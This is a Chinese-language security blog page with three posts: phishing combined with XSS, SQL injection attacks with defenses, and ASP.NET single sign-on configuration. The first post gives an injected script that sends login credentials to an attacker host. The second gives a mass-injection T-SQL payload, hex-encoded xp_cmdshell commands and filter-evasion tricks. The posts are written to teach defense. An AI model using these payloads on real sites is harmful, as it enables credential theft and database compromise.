顯示具有 Security 標籤的文章。 顯示所有文章
顯示具有 Security 標籤的文章。 顯示所有文章

網路釣魚實例 - 結合 XSS 攻擊

0 comments
所謂網路釣魚(phishing)是駭客透過垃圾郵件發送與合法網站相仿的寄件人及郵件內容,提供偽裝 (spoofing)的連結,誘騙使用者到進入其偽裝的網站,藉以騙取個人帳號及密碼。其實,要辨識這樣的偽裝連結並不難,你可以先將滑鼠移到連結上,留意瀏覽器左下方的狀態列所顯示的真正網址,就能辨其真偽。但本文接下來要介紹的是比這類詐騙郵件更為狡猾的網路釣魚攻擊,是一種與跨網站指令碼 (Cross-site scripting,簡稱為 XSS) 搭配組合的攻擊模式,讓人防不勝防。此攻擊模式是利用存在 XSS 弱點的網站,在其官方網址的參數欄位動手腳加入經編碼的惡意程式,讓使用者誤信這是該網站所提供的網址,而不自覺地落入駭客惡意設下的圈套。

Phishing 與 XSS 搭配攻擊
假設有個受信任的網站 trustedsite.com,其登入網頁的部份原始碼如下:
<-- Hypothetical login.php page -->
...
<?php echo $_REQUEST["msg"]; ?>
<form method="post" action="loginDone.php">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value="<?php echo $_REQUEST["returnUrl"]; ?>">
</form>
...

當匿名使用者要求檢視個人資料的網頁時,會被系統自動導向到登入網頁,其網址如下:
http://trustedsite.com/login.php?msg=Please+Sign+In+to+View+this+Profile&returnUrl=myProfile.php

在沒有過濾字元的情況下,透過網址的傳遞參數注入如下所示的 HTML 標籤及指令碼:
login.php?msg=<script>alert('Vulnerable!');</scrpt>
&returnUrl="><script>alert('Vulnerable!');</scrpt><input type="hidden

並重新發出 HTTP 請求,便會得到如下的 HTML 輸出內容,並觸發注入的指命碼:
...
<script>alert('Vulnerable!');</scrpt>
<form method="post" action="loginDone.asp">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value=""><script>alert('Vulnerable!');</scrpt><input type="hidden">
</form>
...



根據 XSS 攻擊原理,只要存在 XSS 漏洞的網頁程式就能順利執行惡意程式碼。以下是針對 trustedsite.com 登入網頁,所設計的攻擊指命碼:
/* phishing.js */
var userslogin = document.forms[0];
userslogin.onsubmit = function() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://hackersite.com/stealLogin.php?user=" + userslogin.username.value + "&pass=" + userslogin.pass.value;
document.body.appendChild(iframe);
};

並將登入網址重新設計如下:
http://trustedsite.com/login.php?msg=<script src="http://hackersite.com/phishing.js"></script>

為衍人耳目,駭客會刻意將注入的 HTML 標籤及指令碼字串編碼,如下所示:
http://trustedsite.com/login.php?msg=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%73%69%74%65%2E%63%6F%6D%2F%70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

接著只要利用 E-Mail 或者在網路上發佈此連結,誘騙使用者點選此連結登入,使用者帳號及密碼就會自動"異地備份"到駭客手上了。

如何防範
一般使用者不論是在電子郵件、即時通訊軟體或是一般網頁中點選連結時,應提高警覺,留心可疑的過長連結,尤其是連續性冗長的編碼的字串更應避而遠之。

至於,對 XSS 漏洞的防範,在這裡提供幾點建議供 Web 開發人員參考:
  1. 對使用 HTTP GET 方法傳遞的資料,加入防竄改(tamper-proof)機制。有關如何實作 URL tamper-proof 的詳細資訊可參考這裡
  2. 檢查使用者的任何輸入資訊,包含查詢字串、Cookie 或表單欄位,並拒絕任何具危害性的 HTML 標籤。如果你的網頁允許輸入 HTML 資料,也應該限制只允許輸入特定的 HTML 標籤。
  3. 使用 HTML 編碼輸出使用者的輸入資訊。


相關資源:
Passing Tamper-Proof QueryString Parameters by Scott Mitchell

參考文章:
Applying XSS to Phishing Attacks by Nexus

繼續閱讀...

SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

ASP.NET Single Sign-On

0 comments
如果在相同網域下,建置多個跨伺服器的 ASP.NET 應用程式時,你可以啟用跨應用程式的表單驗證(Forms Authentication),提供單一登入(Single Sign-On)驗證,使用者就不需在切換應用程式時重新驗證。


如果使用表單驗證,則參與共用表單驗證的所有應用程式都要使用相同的機器金鑰(Machine Key)。機器金鑰會是用於檢視狀態(ViewState)及表單驗證票證(Forms Authentication Tickets)的加密、解密以及驗證,在 .NET Framework 1.1 版是定義在 Machine.config 中的 <machineKey> 項目,其預設組態如下:
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1"/>

在 .NET Framework 2.0 則是定義在 Machine.config.comments,其預設組態如下:
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" decryption="Auto" />

validationKey 屬性值用於建立驗證表單票證的 HMAC 碼(Hashed Message Authentication Code)。decryptionKey 屬性值是用於加密和解密表單驗證票證的金鑰。validation 屬性則是表示產生 HMAC 碼時是使用何種演算法。decryption 屬性是 .NET Framework 2.0 新增的屬性,AES 是解密資料的預設演算法。

所以,如果你沒有在 <machineKey> 項目指定金鑰,預設的組態設定就會使 ASP.NET 為不同的應用程式產生唯一的加密金鑰。因此,若要達到跨應用程式的表單驗證的目的,你就必須覆寫 <machineKey> 項目,為所有 Web 伺服器設定相同的驗證金鑰及相同的驗證演算法。如果組態不一致,Cookie 就不能共用。你可以使用 RNGCryptoServiceProvider 類別自行產生給你所有應用程式通用的驗證金鑰 (validationKey)和解密金鑰(decryptionKey)。

如果你需要 ASP.NET 2.0 的應用程式可以與 ASP.NET 1.1 共用表單驗證票證資訊,則必須在每個 ASP.NET 2.0 應用程式的 <machineKey> 項目組態中加入 decryption="3DES",這是因為在 ASP.NET 1.1 中,是使用 3DES 演算法來加密和解密表單驗證票證。以下是組態設定範例:
<system.web>
<machineKey validationKey="F40C0FF602CF4181C15AA3E494EBC04B8D2C6654A54DD6C12CE39643D0D864CD685C701A655B622C04DCED8B36A1E2B7B5BDDB9F769BEB040FE31974E6FBFBC1" decryptionKey="8CF1335D3E93BBA2F6C3F6A6BF88F37685F4E3979B3A8511" validation="SHA1" decryption="3DES" />
<system.web>

登入驗證
在登入網頁建立自訂的驗證程式碼,檢查使用者名稱與密碼,如果驗證成功,就為該使用者建構 Principal 物件,並將它存入 HttpContext.User 中。在傳送表單驗證 Cookie 到用戶端前,你必須先設定 Cookie 的 Domain 屬性。以下是實作登入網頁的範例程式碼:
protected void _btnLogin_Click(object sender, EventArgs e)
{
SitePrincipal principal = SitePrincipal.ValidateLogin(_txtUserName.Text, _txtUserPass.Text);
if(principal != null)
{
Context.User = principal;
HttpCookie cookie =
FormsAuthentication.GetAuthCookie(principal.Identity.Name, _chkAutoLogin.Checked);
cookie.Domain = "yourwebsite.com";
Response.AppendCookie(cookie);
Response.Redirect(
FormsAuthentication.GetRedirectUrl(principal.Identity.Name, _chkAutoLogin.Checked));
}
else
{
_lblMessage.Text = "Wrong username or password";
}
}

程式碼所使用的 SitePrincipal 類別是實作 System.Security.Principal.IPrincipal 介面的自訂類別,請自行下載原始碼引用到你的應用程式。

啟用表單驗證
<system.web>
<authentication mode="Forms">
<forms name=".YourAppName" loginUrl="Login.aspx" protection="All" timeout="30" path="/" />
</authentication>
</system.web>

你應該在 <forms> 項目指定自己的 name 及 path 屬性,並且必須確定在你的所有的應用程式中保持一致的組態設定。protection 屬性是用來指定保護 Cookie 的方法,其預設值為 All(也是建議值),這會使 ASP.NET 同時使用驗證和加密金鑰來保護 Cookie。

處理驗證要求
在應用程式初始驗證要求時,你還必須檢查使用者是否已經過驗證。如果順利取得 Cookie,接著就可進行票證解密,取得使用者資訊,建立 Principal 物件。請在所有應用程式的 Global.asax 實作 Application_AuthenticateRequest 事件處理常式:
protected void Application_AuthenticateRequest(Object sender, EventArgs e)
{
HttpCookie authCookie = Request.Cookies[FormsAuthentication.FormsCookieName];
if(authCookie != null)
{
FormsAuthenticationTicket authTicket = FormsAuthentication.Decrypt(authCookie.Value);
string userName = authTicket.Name;
SitePrincipal principal = new SitePrincipal(userName);
Context.User = principal;
}
}

當呼叫 FormsAuthentication.Decrypt 方法擷取表單驗證 Cookie 時,會參考 <machineKey> 項目中的指定的 decryptionKey 值解密票證值。

登出機制
從應用程式中登出該使用者,通常只要使用 System.Web.Security.FormsAuthentication.SignOut() 就可以從瀏覽器移除表單驗證 Cookie。但是 SignOut() 方法無法處理有網域關聯的 Cookie,所以你必須手動移除表單驗證 Cookie。以下是實作登出網頁的範例程式碼:
private void Page_Load(object sender, System.EventArgs e)
{
System.Web.HttpCookie cookie =
Request.Cookies[System.Web.Security.FormsAuthentication.FormsCookieName];

if (cookie!=null)
{
cookie.Domain = "yourwebsite.com";
cookie.Expires = DateTime.Now.AddDays(-1);
Response.Cookies.Add(cookie);
}

if (Request.QueryString["ReturnURL"]!=null)
{
Response.Redirect(Request.QueryString["ReturnURL"]));
}
else
{
Response.Redirect("~/Default.aspx");
}
}

完成後,你就可以在頁面程式碼中,使用 Request.IsAuthenticated 屬性檢查目前的連線要求是否驗證成功。以下是在 Page_Load 事件處理常式的範例程式碼:
private void Page_Load(object sender, System.EventArgs e)
{
if (!Request.IsAuthenticated)
{
Response.Redirect(string.Format("~/Login.aspx?ReturnURL={0}",
Server.UrlEncode(Request.PathInfo)));
}
}

相關資源:
Understanding the Forms Authentication Ticket and Cookie by Microsoft

參考資料:
Single sign-on across multiple applications in ASP.NET by Michal Altair Valasek
建置安全的 ASP.NET 應用程式: 驗證、授權和安全通訊 by Microsoft
How To: Configure MachineKey in ASP.NET 2.0 by Microsoft
How To: Protect Forms Authentication in ASP.NET 2.0 by Microsoft
Explained: Forms Authentication in ASP.NET 2.0 by Microsoft
驗證與授權 (探索 .NET) by Microsoft

繼續閱讀...